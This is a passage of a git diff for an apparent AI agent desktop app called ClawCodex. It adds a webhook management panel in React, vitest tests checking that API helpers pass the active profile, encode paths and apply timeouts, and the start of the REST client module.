+                          {w.deliverOptions[opt] ?? opt}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                </Field>
+                <Field htmlFor="webhook-deliver-only" label={w.fieldDeliverOnly}>
+                  <div className="flex h-9 items-center">
+                    <Switch checked={deliverOnly} id="webhook-deliver-only" onCheckedChange={setDeliverOnly} />
+                  </div>
+                </Field>
+              </div>
+
+              <DialogFooter>
+                <Button disabled={creating} size="sm" type="submit">
+                  {creating ? w.creating : w.create}
+                </Button>
+              </DialogFooter>
+            </form>
+          )}
+        </DialogContent>
+      </Dialog>
+
+      <ConfirmDialog
+        busyLabel={w.deleting}
+        cancelLabel={t.common.cancel}
+        confirmLabel={w.delete}
+        description={
+          pendingDelete ? (
+            <>
+              {w.deleteDescPrefix}
+              <span className="font-medium text-foreground">{pendingDelete}</span>
+              {w.deleteDescSuffix}
+            </>
+          ) : null
+        }
+        destructive
+        onClose={() => setPendingDelete(null)}
+        onConfirm={handleDelete}
+        open={pendingDelete !== null}
+        title={w.deleteTitle}
+      />
+    </Panel>
+  )
+}
+
+function WebhookDetail({ sub }: { sub: WebhookRoute }) {
+  const { t } = useI18n()
+  const w = t.webhooks
+
+  return (
+    <PanelDetail>
+      <header className="space-y-3">
+        <div className="flex min-w-0 flex-wrap items-center gap-2">
+          <h3 className="text-[0.95rem] font-semibold tracking-tight text-foreground">{sub.name}</h3>
+          {sub.deliver_only && <PanelPill tone="warn">{w.deliverOnly}</PanelPill>}
+        </div>
+
+        <PanelMeta
+          rows={[
+            { label: w.fieldDeliver, value: w.deliverOptions[sub.deliver] ?? sub.deliver },
+            {
+              label: w.fieldEvents,
+              value:
+                sub.events.length === 0 ? (
+                  w.all
+                ) : (
+                  <span className="flex flex-wrap gap-1">
+                    {sub.events.map(evt => (
+                      <PanelPill key={evt}>{evt}</PanelPill>
+                    ))}
+                  </span>
+                )
+            },
+            ...(sub.skills.length > 0
+              ? [
+                  {
+                    label: w.fieldSkills,
+                    value: (
+                      <span className="flex flex-wrap gap-1">
+                        {sub.skills.map(skill => (
+                          <PanelPill key={skill}>{skill}</PanelPill>
+                        ))}
+                      </span>
+                    )
+                  }
+                ]
+              : [])
+          ]}
+        />
+
+        <CopyValueRow copyLabel={w.copy} value={sub.url} />
+      </header>
+
+      {sub.description ? (
+        <div className="space-y-1.5">
+          <PanelSectionLabel>{w.fieldDescription}</PanelSectionLabel>
+          <p className="text-xs leading-relaxed text-foreground/80">{sub.description}</p>
+        </div>
+      ) : null}
+
+      {sub.prompt ? (
+        <div className="space-y-1.5">
+          <PanelSectionLabel>{w.fieldPrompt}</PanelSectionLabel>
+          <PanelBlock>{sub.prompt}</PanelBlock>
+        </div>
+      ) : null}
+    </PanelDetail>
+  )
+}
diff --git a/ui-desktop/src/assets/tiers/feature-automation.webp b/ui-desktop/src/assets/tiers/feature-automation.webp
new file mode 100644
index 000000000..7db7c551b
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diff --git a/ui-desktop/src/assets/tiers/feature-connect.webp b/ui-desktop/src/assets/tiers/feature-connect.webp
new file mode 100644
index 000000000..36941196b
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diff --git a/ui-desktop/src/assets/tiers/feature-memory.webp b/ui-desktop/src/assets/tiers/feature-memory.webp
new file mode 100644
index 000000000..b70bf6a24
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diff --git a/ui-desktop/src/assets/tiers/feature-sandbox.webp b/ui-desktop/src/assets/tiers/feature-sandbox.webp
new file mode 100644
index 000000000..08a9d6e3f
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diff --git a/ui-desktop/src/clawcodex-cron-scope.test.ts b/ui-desktop/src/clawcodex-cron-scope.test.ts
new file mode 100644
index 000000000..88ee4498c
--- /dev/null
+++ b/ui-desktop/src/clawcodex-cron-scope.test.ts
@@ -0,0 +1,74 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  createCronJob,
+  deleteCronJob,
+  getCronJob,
+  getCronJobRuns,
+  getCronJobs,
+  pauseCronJob,
+  resumeCronJob,
+  setApiRequestProfile,
+  triggerCronJob,
+  updateCronJob
+} from './clawcodex'
+
+// Contract: every cron helper must carry the active gateway profile, so a
+// multi-profile / remote user's cron list, runs, and mutations hit the backend
+// they're actually on — not the primary/default. Without it, selecting a remote
+// profile still showed the local primary's jobs (the "remote cron jobs don't
+// show up" bug), the counterpart to the backend-action-helper fix in
+// clawcodex-profile-scope.test.ts.
+describe('cron helpers are profile-scoped', () => {
+  const api = vi.fn(async (_req: { path: string; profile?: string }) => ({}) as never)
+
+  beforeEach(() => {
+    ;(window as { clawcodexDesktop?: unknown }).clawcodexDesktop = { api }
+    api.mockClear()
+  })
+
+  afterEach(() => {
+    setApiRequestProfile(null)
+    delete (window as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  const lastProfile = () => api.mock.calls.at(-1)?.[0].profile
+
+  it('omits profile when none is active (single-profile users unaffected)', () => {
+    void getCronJobs()
+    expect(lastProfile()).toBeUndefined()
+  })
+
+  it('forwards the active profile to every cron helper', () => {
+    setApiRequestProfile('coder')
+
+    void getCronJobs()
+    void getCronJob('job-1')
+    void getCronJobRuns('job-1')
+    void createCronJob({ name: 'nightly', prompt: 'run', schedule: '0 3 * * *' } as never)
+    void updateCronJob('job-1', { enabled: false } as never)
+    void pauseCronJob('job-1')
+    void resumeCronJob('job-1')
+    void triggerCronJob('job-1')
+    void deleteCronJob('job-1')
+
+    for (const call of api.mock.calls) {
+      expect(call[0].profile).toBe('coder')
+    }
+  })
+
+  it('list accepts an explicit ?profile= for endpoint-level filtering', () => {
+    // profileScoped() routes the backend process; the list endpoint ALSO
+    // aggregates 'all' by default, so callers pass an explicit profile to
+    // filter what the endpoint returns (sidebar / cron overlay scoping).
+    void getCronJobs('worker_alpha')
+    expect(api.mock.calls.at(-1)?.[0].path).toBe('/api/cron/jobs?profile=worker_alpha')
+
+    void getCronJobs('all')
+    expect(api.mock.calls.at(-1)?.[0].path).toBe('/api/cron/jobs?profile=all')
+
+    // Omitting the arg keeps the legacy unfiltered path.
+    void getCronJobs()
+    expect(api.mock.calls.at(-1)?.[0].path).toBe('/api/cron/jobs')
+  })
+})
diff --git a/ui-desktop/src/clawcodex-parity.test.ts b/ui-desktop/src/clawcodex-parity.test.ts
new file mode 100644
index 000000000..ce0399118
--- /dev/null
+++ b/ui-desktop/src/clawcodex-parity.test.ts
@@ -0,0 +1,140 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  getCuratorStatus,
+  getMcpCatalog,
+  getMemoryStatus,
+  getSkillHubSources,
+  getToolsetModels,
+  installSkillFromHub,
+  resetMemory,
+  runDebugShare,
+  searchSkillsHub,
+  selectToolsetModel,
+  setCuratorPaused,
+  setMcpServerEnabled,
+  testMcpServer
+} from './clawcodex'
+
+describe('ClawCodex REST parity helpers (hub / mcp / maintenance)', () => {
+  let api: ReturnType<typeof vi.fn>
+
+  beforeEach(() => {
+    api = vi.fn().mockResolvedValue({})
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { api }
+    })
+  })
+
+  afterEach(() => {
+    vi.restoreAllMocks()
+    Reflect.deleteProperty(window, 'clawcodexDesktop')
+  })
+
+  it('loads hub sources with a network-tolerant timeout', async () => {
+    await getSkillHubSources()
+
+    expect(api).toHaveBeenCalledWith(expect.objectContaining({ path: '/api/skills/hub/sources', timeoutMs: 45_000 }))
+  })
+
+  it('encodes hub search params', async () => {
+    await searchSkillsHub('gif search', 'official', 5)
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({ path: '/api/skills/hub/search?q=gif+search&source=official&limit=5' })
+    )
+  })
+
+  it('installs a hub skill by identifier', async () => {
+    await installSkillFromHub('official/gifs/gif-search')
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/skills/hub/install',
+        method: 'POST',
+        body: { identifier: 'official/gifs/gif-search' }
+      })
+    )
+  })
+
+  it('tests an MCP server with a boot-tolerant timeout and encoded name', async () => {
+    await testMcpServer('file system')
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/mcp/servers/file%20system/test',
+        method: 'POST',
+        timeoutMs: 60_000
+      })
+    )
+  })
+
+  it('toggles MCP server enablement', async () => {
+    await setMcpServerEnabled('filesystem', false)
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/mcp/servers/filesystem/enabled',
+        method: 'PUT',
+        body: { enabled: false }
+      })
+    )
+  })
+
+  it('reads the MCP catalog', async () => {
+    await getMcpCatalog()
+
+    expect(api).toHaveBeenCalledWith(expect.objectContaining({ path: '/api/mcp/catalog' }))
+  })
+
+  it('reads memory status and resets a specific target', async () => {
+    await getMemoryStatus()
+    await resetMemory('user')
+
+    expect(api).toHaveBeenNthCalledWith(1, expect.objectContaining({ path: '/api/memory' }))
+    expect(api).toHaveBeenNthCalledWith(
+      2,
+      expect.objectContaining({ path: '/api/memory/reset', method: 'POST', body: { target: 'user' } })
+    )
+  })
+
+  it('manages the curator', async () => {
+    await getCuratorStatus()
+    await setCuratorPaused(true)
+
+    expect(api).toHaveBeenNthCalledWith(1, expect.objectContaining({ path: '/api/curator' }))
+    expect(api).toHaveBeenNthCalledWith(
+      2,
+      expect.objectContaining({ path: '/api/curator/paused', method: 'PUT', body: { paused: true } })
+    )
+  })
+
+  it('runs debug share synchronously with an upload-tolerant timeout', async () => {
+    await runDebugShare()
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({ path: '/api/ops/debug-share', method: 'POST', timeoutMs: 120_000 })
+    )
+  })
+
+  it('reads a backend model catalog scoped to a provider row', async () => {
+    await getToolsetModels('image_gen', 'FAL.ai')
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({ path: '/api/tools/toolsets/image_gen/models?provider=FAL.ai' })
+    )
+  })
+
+  it('persists a backend model selection', async () => {
+    await selectToolsetModel('image_gen', 'z-image-turbo', 'FAL.ai')
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/tools/toolsets/image_gen/model',
+        method: 'PUT',
+        body: { model: 'z-image-turbo', provider: 'FAL.ai' }
+      })
+    )
+  })
+})
diff --git a/ui-desktop/src/clawcodex-profile-scope.test.ts b/ui-desktop/src/clawcodex-profile-scope.test.ts
new file mode 100644
index 000000000..32eb0d110
--- /dev/null
+++ b/ui-desktop/src/clawcodex-profile-scope.test.ts
@@ -0,0 +1,83 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  checkClawCodexUpdate,
+  getActionStatus,
+  getElevenLabsVoices,
+  getMemoryProviderConfig,
+  getStatus,
+  restartGateway,
+  saveMemoryProviderConfig,
+  setApiRequestProfile,
+  speakText,
+  transcribeAudio,
+  updateClawCodex
+} from './clawcodex'
+
+// Contract: every backend-targeted action helper must carry the active gateway
+// profile, so a multi-profile / global-remote user's restart, status poll, and
+// update hit the backend they're actually on — not the primary/default. The
+// System-panel "restart does nothing" bug was these helpers dropping it.
+describe('backend action helpers are profile-scoped', () => {
+  const api = vi.fn(async (_req: { path: string; profile?: string }) => ({}) as never)
+
+  beforeEach(() => {
+    ;(window as { clawcodexDesktop?: unknown }).clawcodexDesktop = { api }
+    api.mockClear()
+  })
+
+  afterEach(() => {
+    setApiRequestProfile(null)
+    delete (window as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  const lastProfile = () => api.mock.calls.at(-1)?.[0].profile
+
+  it('omits profile when none is active (single-profile users unaffected)', () => {
+    void getStatus()
+    expect(lastProfile()).toBeUndefined()
+  })
+
+  it('forwards the active profile to memory provider config calls', () => {
+    setApiRequestProfile('coder')
+
+    void getMemoryProviderConfig('honcho')
+    void saveMemoryProviderConfig('honcho', { workspace: 'w' })
+
+    for (const call of api.mock.calls) {
+      expect(call[0].profile).toBe('coder')
+    }
+  })
+
+  it('forwards the active profile to every backend action', () => {
+    setApiRequestProfile('coder')
+
+    void getStatus()
+    void restartGateway()
+    void updateClawCodex()
+    void checkClawCodexUpdate()
+    void getActionStatus('gateway-restart')
+
+    for (const call of api.mock.calls) {
+      expect(call[0].profile).toBe('coder')
+    }
+  })
+
+  // Audio endpoints (transcribe / speak / voices) write to the active
+  // profile's config in the settings UI but historically called the backend
+  // without a profile scope, so playback used the default profile's TTS/voice
+  // config instead of the active one (#53441).
+  it('forwards the active profile to audio endpoints', () => {
+    setApiRequestProfile('jarvis')
+
+    void transcribeAudio('data:audio/webm;base64,AAAA', 'audio/webm')
+    void speakText('hello')
+    void getElevenLabsVoices()
+
+    expect(api.mock.calls).toHaveLength(3)
+
+    for (const call of api.mock.calls) {
+      expect(call[0].profile).toBe('jarvis')
+    }
+  })
+})
diff --git a/ui-desktop/src/clawcodex.test.ts b/ui-desktop/src/clawcodex.test.ts
new file mode 100644
index 000000000..dafe6e98f
--- /dev/null
+++ b/ui-desktop/src/clawcodex.test.ts
@@ -0,0 +1,413 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  AUDIO_SPEAK_MAX_REQUEST_TIMEOUT_MS,
+  AUDIO_SPEAK_MIN_REQUEST_TIMEOUT_MS,
+  AUDIO_TRANSCRIBE_MAX_REQUEST_TIMEOUT_MS,
+  AUDIO_TRANSCRIBE_MIN_REQUEST_TIMEOUT_MS,
+  audioSpeakRequestTimeoutMs,
+  audioTranscribeRequestTimeoutMs,
+  getClawCodexConfig,
+  getClawCodexConfigDefaults,
+  getCronJobs,
+  getGlobalModelInfo,
+  getGlobalModelOptions,
+  getProfiles,
+  getSessionMessages,
+  getStatus,
+  listAllProfileSessions,
+  listSessions,
+  listSidebarSessions,
+  resetSidebarBatchCapability,
+  setApiRequestProfile,
+  speakText,
+  transcribeAudio
+} from './clawcodex'
+import { refreshActiveProfile } from './store/profile'
+
+const emptySessionsResponse = {
+  limit: 0,
+  offset: 0,
+  sessions: [],
+  total: 0
+}
+
+describe('ClawCodex REST helpers', () => {
+  let api: ReturnType<typeof vi.fn>
+
+  beforeEach(() => {
+    resetSidebarBatchCapability()
+    api = vi.fn().mockResolvedValue(emptySessionsResponse)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { api }
+    })
+  })
+
+  afterEach(() => {
+    setApiRequestProfile(null)
+    vi.restoreAllMocks()
+    Reflect.deleteProperty(window, 'clawcodexDesktop')
+  })
+
+  it('uses a longer timeout for the single-profile session list', async () => {
+    await listSessions(50, 1)
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/sessions?limit=50&offset=0&min_messages=1&archived=exclude&order=recent',
+        timeoutMs: 60_000
+      })
+    )
+  })
+
+  it('uses a longer timeout for the all-profile session list', async () => {
+    await listAllProfileSessions(50, 1)
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/profiles/sessions?limit=50&offset=0&min_messages=1&archived=exclude&order=recent&profile=all',
+        timeoutMs: 60_000
+      })
+    )
+  })
+
+  it('batches the sidebar slices into a single request with per-slice limits + excludes', async () => {
+    api.mockResolvedValue({ recents: { sessions: [] }, cron: { sessions: [] }, messaging: { sessions: [] } })
+
+    await listSidebarSessions({
+      recentsProfile: 'work',
+      recentsLimit: 30,
+      recentsExclude: ['cron', 'tool'],
+      cronLimit: 50,
+      messagingLimit: 100,
+      messagingExclude: ['cron', 'desktop']
+    })
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path:
+          '/api/profiles/sessions/sidebar?recents_profile=work&recents_limit=30&cron_limit=50' +
+          '&messaging_limit=100&recents_exclude=cron%2Ctool&messaging_exclude=cron%2Cdesktop',
+        timeoutMs: 60_000
+      })
+    )
+  })
+
+  it('defaults missing sidebar slices to empty session arrays', async () => {
+    api.mockResolvedValue({})
+
+    const result = await listSidebarSessions({
+      recentsProfile: 'all',
+      recentsLimit: 20,
+      recentsExclude: [],
+      cronLimit: 50,
+      messagingLimit: 100,
+      messagingExclude: []
+    })
+
+    expect(result.recents.sessions).toEqual([])
+    expect(result.cron.sessions).toEqual([])
+    expect(result.messaging.sessions).toEqual([])
+  })
+
+  it('falls back to the per-slice endpoint when the batched route 404s on an older backend', async () => {
+    const row = (id: string) => ({ id, title: id, profile: 'default' })
+
+    api.mockImplementation(({ path }: { path: string }) => {
+      if (path.startsWith('/api/profiles/sessions/sidebar')) {
+        // The exact skew failure: Electron surfaces the backend catch-all.
+        return Promise.reject(
+          new Error(
+            'Error invoking remote method \'clawcodex:api\': Error: 404: {"detail":"No such API endpoint: /api/profiles/sessions/sidebar"}'
+          )
+        )
+      }
+
+      if (path.includes('source=cron')) {
+        return Promise.resolve({ ...emptySessionsResponse, sessions: [row('cron-1')], total: 1 })
+      }
+
+      if (path.includes('exclude_sources=cron%2Cdesktop')) {
+        return Promise.resolve({ ...emptySessionsResponse, sessions: [row('msg-1')], total: 1 })
+      }
+
+      return Promise.resolve({
+        ...emptySessionsResponse,
+        sessions: [row('recent-1')],
+        total: 7,
+        profile_totals: { default: 7 }
+      })
+    })
+
+    const result = await listSidebarSessions({
+      recentsProfile: 'work',
+      recentsLimit: 30,
+      recentsExclude: ['cron', 'tool'],
+      cronLimit: 50,
+      messagingLimit: 100,
+      messagingExclude: ['cron', 'desktop']
+    })
+
+    // Slices reassembled from the legacy per-slice route with the same
+    // scoping: recents on the caller's profile, cron + messaging cross-profile.
+    expect(result.recents.sessions.map(s => s.id)).toEqual(['recent-1'])
+    // One row back against a 30-row window: the profile is fully loaded, so
+    // the legacy path must not claim there's another page.
+    expect(result.recents.profiles_truncated).toEqual({ default: false })
+    expect(result.cron.sessions.map(s => s.id)).toEqual(['cron-1'])
+    expect(result.messaging.sessions.map(s => s.id)).toEqual(['msg-1'])
+
+    const paths = api.mock.calls.map(call => (call[0] as { path: string }).path)
+    expect(paths.filter(p => p.startsWith('/api/profiles/sessions/sidebar'))).toHaveLength(1)
+    expect(paths.filter(p => p.startsWith('/api/profiles/sessions?'))).toHaveLength(3)
+    expect(paths).toContainEqual(expect.stringContaining('profile=work'))
+    expect(paths).toContainEqual(expect.stringContaining('source=cron'))
+    expect(paths).toContainEqual(expect.stringContaining('exclude_sources=cron%2Ctool'))
+  })
+
+  it('remembers endpoint-missing and skips re-probing the batched route on later refreshes', async () => {
+    api.mockImplementation(({ path }: { path: string }) =>
+      path.startsWith('/api/profiles/sessions/sidebar')
+        ? Promise.reject(new Error('404: {"detail":"No such API endpoint: /api/profiles/sessions/sidebar"}'))
+        : Promise.resolve(emptySessionsResponse)
+    )
+
+    const req = {
+      recentsProfile: 'all' as const,
+      recentsLimit: 20,
+      recentsExclude: [],
+      cronLimit: 50,
+      messagingLimit: 100,
+      messagingExclude: []
+    }
+
+    await listSidebarSessions(req)
+    await listSidebarSessions(req)
+
+    const batchedProbes = api.mock.calls.filter(call =>
+      (call[0] as { path: string }).path.startsWith('/api/profiles/sessions/sidebar')
+    )
+
+    // First refresh probes once and learns; the second goes straight to the
+    // per-slice route (3 calls each refresh, no repeated dead probe).
+    expect(batchedProbes).toHaveLength(1)
+    expect(api.mock.calls.length).toBe(1 + 3 + 3)
+  })
+
+  it('re-probes the batched route after a gateway switch resets the capability flag', async () => {
+    api.mockImplementation(({ path }: { path: string }) =>
+      path.startsWith('/api/profiles/sessions/sidebar')
+        ? Promise.reject(new Error('404: {"detail":"No such API endpoint: /api/profiles/sessions/sidebar"}'))
+        : Promise.resolve(emptySessionsResponse)
+    )
+
+    const req = {
+      recentsProfile: 'all' as const,
+      recentsLimit: 20,
+      recentsExclude: [],
+      cronLimit: 50,
+      messagingLimit: 100,
+      messagingExclude: []
+    }
+
+    await listSidebarSessions(req)
+    // Soft gateway switch: the next backend may support the batched route.
+    resetSidebarBatchCapability()
+    api.mockResolvedValue({ recents: { sessions: [] }, cron: { sessions: [] }, messaging: { sessions: [] } })
+
+    const result = await listSidebarSessions(req)
+
+    const batchedProbes = api.mock.calls.filter(call =>
+      (call[0] as { path: string }).path.startsWith('/api/profiles/sessions/sidebar')
+    )
+
+    expect(batchedProbes).toHaveLength(2)
+    expect(result.recents.sessions).toEqual([])
+  })
+
+  it('does NOT fall back on transient failures — only endpoint-missing shapes trigger legacy mode', async () => {
+    api.mockRejectedValue(new Error('Request timed out after 60000ms'))
+
+    await expect(
+      listSidebarSessions({
+        recentsProfile: 'all',
+        recentsLimit: 20,
+        recentsExclude: [],
+        cronLimit: 50,
+        messagingLimit: 100,
+        messagingExclude: []
+      })
+    ).rejects.toThrow('timed out')
+
+    // One call: the batched probe. No legacy fan-out, no sticky degradation.
+    expect(api).toHaveBeenCalledTimes(1)
+
+    // And the next refresh still uses the batched route.
+    api.mockResolvedValue({ recents: { sessions: [] }, cron: { sessions: [] }, messaging: { sessions: [] } })
+    await listSidebarSessions({
+      recentsProfile: 'all',
+      recentsLimit: 20,
+      recentsExclude: [],
+      cronLimit: 50,
+      messagingLimit: 100,
+      messagingExclude: []
+    })
+
+    expect((api.mock.calls[1][0] as { path: string }).path).toMatch(/^\/api\/profiles\/sessions\/sidebar\?/)
+  })
+
+  it('uses a longer timeout for profile listing during desktop startup', async () => {
+    api.mockResolvedValue({ profiles: [] })
+
+    await getProfiles()
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/profiles',
+        timeoutMs: 60_000
+      })
+    )
+  })
+
+  it('uses a longer timeout for active profile refresh during desktop startup', async () => {
+    api.mockResolvedValueOnce({ current: 'default' }).mockResolvedValueOnce({ profiles: [] })
+
+    await refreshActiveProfile()
+
+    expect(api).toHaveBeenNthCalledWith(
+      1,
+      expect.objectContaining({
+        path: '/api/profiles/active',
+        timeoutMs: 60_000
+      })
+    )
+    expect(api).toHaveBeenNthCalledWith(
+      2,
+      expect.objectContaining({
+        path: '/api/profiles',
+        timeoutMs: 60_000
+      })
+    )
+  })
+
+  it('gives the whole startup data burst the long timeout, not just profiles', async () => {
+    api.mockResolvedValue({})
+
+    const bootCalls: [() => Promise<unknown>, string][] = [
+      [getClawCodexConfig, '/api/config'],
+      [getClawCodexConfigDefaults, '/api/config/defaults'],
+      [getGlobalModelInfo, '/api/model/info'],
+      [() => getGlobalModelOptions(), '/api/model/options?explicit_only=1'],
+      [getCronJobs, '/api/cron/jobs']
+    ]
+
+    for (const [call, path] of bootCalls) {
+      api.mockClear()
+      await call()
+      expect(api).toHaveBeenCalledWith(expect.objectContaining({ path, timeoutMs: 60_000 }))
+    }
+  })
+
+  it('keeps the liveness poll on the short default so a dead backend fails fast', async () => {
+    api.mockResolvedValue({})
+    api.mockClear()
+
+    await getStatus()
+
+    // /api/status must NOT carry the long startup timeout — it is the runtime
+    // liveness probe and has to fail quickly when the backend drops.
+    const call = api.mock.calls[0]?.[0] as { path: string; timeoutMs?: number }
+    expect(call.path).toBe('/api/status')
+    expect(call.timeoutMs).toBeUndefined()
+  })
+
+  it('tags cross-profile message reads for Electron routing and backend lookup', async () => {
+    api.mockResolvedValue({ messages: [], session_id: 'session-1' })
+
+    await getSessionMessages('session-1', 'xiaoxuxu')
+
+    expect(api).toHaveBeenCalledWith({
+      path: '/api/sessions/session-1/messages?profile=xiaoxuxu',
+      profile: 'xiaoxuxu'
+    })
+  })
+
+  it('bounds blocking TTS synthesis timeouts by text length', () => {
+    expect(audioSpeakRequestTimeoutMs('short message')).toBe(AUDIO_SPEAK_MIN_REQUEST_TIMEOUT_MS)
+    expect(audioSpeakRequestTimeoutMs('x'.repeat(8_000))).toBe(280_000)
+    expect(audioSpeakRequestTimeoutMs('x'.repeat(100_000))).toBe(AUDIO_SPEAK_MAX_REQUEST_TIMEOUT_MS)
+  })
+
+  it('routes blocking TTS synthesis through the active profile backend', async () => {
+    setApiRequestProfile('rhaegal')
+    api.mockResolvedValueOnce({
+      data_url: 'data:audio/mpeg;base64,AA==',
+      mime_type: 'audio/mpeg',
+      ok: true,
+      provider: 'openai'
+    })
+
+    await expect(speakText('Read this aloud')).resolves.toEqual({
+      data_url: 'data:audio/mpeg;base64,AA==',
+      mime_type: 'audio/mpeg',
+      ok: true,
+      provider: 'openai'
+    })
+
+    expect(api).toHaveBeenCalledWith({
+      body: { text: 'Read this aloud' },
+      method: 'POST',
+      path: '/api/audio/speak',
+      profile: 'rhaegal',
+      timeoutMs: AUDIO_SPEAK_MIN_REQUEST_TIMEOUT_MS
+    })
+  })
+
+  it('bounds blocking transcription timeouts by payload length', () => {
+    expect(audioTranscribeRequestTimeoutMs('data:audio/webm;base64,AA==')).toBe(AUDIO_TRANSCRIBE_MIN_REQUEST_TIMEOUT_MS)
+    expect(audioTranscribeRequestTimeoutMs('x'.repeat(3_000_000))).toBe(300_000)
+    expect(audioTranscribeRequestTimeoutMs('x'.repeat(9_000_000))).toBe(AUDIO_TRANSCRIBE_MAX_REQUEST_TIMEOUT_MS)
+  })
+
+  it('uses an extended timeout for blocking transcription', async () => {
+    api.mockResolvedValueOnce({
+      ok: true,
+      provider: 'openai',
+      text: 'transcribed text'
+    })
+
+    await expect(transcribeAudio('data:audio/webm;base64,AA==', 'audio/webm')).resolves.toEqual({
+      ok: true,
+      provider: 'openai',
+      text: 'transcribed text'
+    })
+
+    expect(api).toHaveBeenCalledWith({
+      body: { data_url: 'data:audio/webm;base64,AA==', mime_type: 'audio/webm' },
+      method: 'POST',
+      path: '/api/audio/transcribe',
+      timeoutMs: AUDIO_TRANSCRIBE_MIN_REQUEST_TIMEOUT_MS
+    })
+  })
+
+  it('defaults model options to configured providers only', async () => {
+    await getGlobalModelOptions()
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/model/options?explicit_only=1'
+      })
+    )
+  })
+
+  it('can opt into unconfigured providers for onboarding flows', async () => {
+    await getGlobalModelOptions({ includeUnconfigured: true, refresh: true, explicitOnly: false })
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        path: '/api/model/options?refresh=1&include_unconfigured=1'
+      })
+    )
+  })
+})
diff --git a/ui-desktop/src/clawcodex.ts b/ui-desktop/src/clawcodex.ts
new file mode 100644
index 000000000..b9284e58c
--- /dev/null
+++ b/ui-desktop/src/clawcodex.ts
@@ -0,0 +1,1842 @@
+import { JsonRpcGatewayClient } from '@clawcodex/shared'
+
+import { reconnectBackoffDelayMs } from '@/lib/reconnect-backoff'
+import type {
+  ActionResponse,
+  ActionStatusResponse,
+  AnalyticsResponse,
+  AudioSpeakResponse,
+  AudioTranscriptionResponse,
+  AutomationBlueprint,
+  AuxiliaryModelsResponse,
+  BackendUpdateCheckResponse,
+  ClawCodexConfig,
+  ClawCodexConfigRecord,
+  ComputerUseStatus,
+  ConfigSchemaResponse,
+  CronDeliveryTarget,
+  CronJob,
+  CronJobCreatePayload,
+  CronJobUpdates,
+  CuratorStatusResponse,
+  CustomEndpointsResponse,
+  CustomEndpointUpdate,
+  CustomEndpointValidationResponse,
+  DebugShareResponse,
+  ElevenLabsVoicesResponse,
+  EnvVarInfo,
+  LogsResponse,
+  McpCatalogResponse,
+  McpServerSummary,
+  MemoryProviderConfig,
+  MemoryProviderOAuthStatus,
+  MemoryStatusResponse,
+  MessagingPlatformsResponse,
+  MessagingPlatformTestResponse,
+  MessagingPlatformUpdate,
+  MoaConfigResponse,
+  ModelAssignmentRequest,
+  ModelAssignmentResponse,
+  ModelInfoResponse,
+  ModelOptionsResponse,
+  OAuthPollResponse,
+  OAuthProvidersResponse,
+  OAuthStartResponse,
+  OAuthSubmitResponse,
+  PaginatedSessions,
+  PairingResponse,
+  PairingUser,
+  ProfileCreatePayload,
+  ProfileDesktopOverlay,
+  ProfileSetupCommand,
+  ProfileSoul,
+  ProfilesResponse,
+  SessionInfo,
+  SessionMessagesResponse,
+  SessionSearchResponse,
+  SkillHubPreview,
+  SkillHubScanResult,
+  SkillHubSearchResponse,
+  SkillHubSourcesResponse,
+  SkillInfo,
+  StarmapGraph,
+  StatusResponse,
+  TerminalBackendsResponse,
+  ToolsetConfig,
+  ToolsetInfo,
+  ToolsetModelsResponse,
+  WebhookCreatePayload,
+  WebhookCreateResponse,
+  WebhookEnableResponse,
+  WebhooksResponse
+} from '@/types/clawcodex'
+
+// Desktop startup fires a burst of read-only data calls (config, profiles,
+// model info/options, cron) the moment the backend passes readiness. On a
+// profile-heavy or remote install these can each take tens of seconds — e.g.
+// /api/profiles runs list_profiles(), which does a recursive skill-tree walk
+// per profile — so the 15s default (DEFAULT_FETCH_TIMEOUT_MS in hardening.ts)
+// times out a backend that is alive-but-busy, surfacing as a spurious
+// "Timed out connecting to ClawCodex backend" that hangs the UI (#48504).
+//
+// Give the boot burst a generous per-call timeout instead of raising the
+// global default: interactive/runtime calls and the liveness poll (/api/status)
+// keep the short default so a genuinely-dead backend is still detected fast.
+export const STARTUP_REQUEST_TIMEOUT_MS = 60_000
+const DEFAULT_GATEWAY_REQUEST_TIMEOUT_MS = 30_000
+const SESSION_LIST_REQUEST_TIMEOUT_MS = 60_000
+// prompt.submit is effectively fire-and-forget: turn completion is signaled by
+// stream / message.complete events, NOT by the RPC return. A long turn (MoA
+// presets running references + aggregator in series, deep reasoning, large tool
+// chains) can legitimately take minutes to ACK, so bounding the ack by the
+// generic 30s default surfaces a false "request timed out" toast while the turn
+// is still running and will succeed (issue #55024). Match the backend's
+// agent-turn ceiling (agent.gateway_timeout = 1800s) so the ack timeout only
+// ever fires when the turn itself would have been abandoned server-side.
+export const PROMPT_SUBMIT_REQUEST_TIMEOUT_MS = 1_800_000
+export const AUDIO_SPEAK_MIN_REQUEST_TIMEOUT_MS = 180_000
+export const AUDIO_SPEAK_MAX_REQUEST_TIMEOUT_MS = 600_000
+const AUDIO_SPEAK_TIMEOUT_MS_PER_CHAR = 35
+
+export function audioSpeakRequestTimeoutMs(text: string): number {
+  const estimated = Math.max(
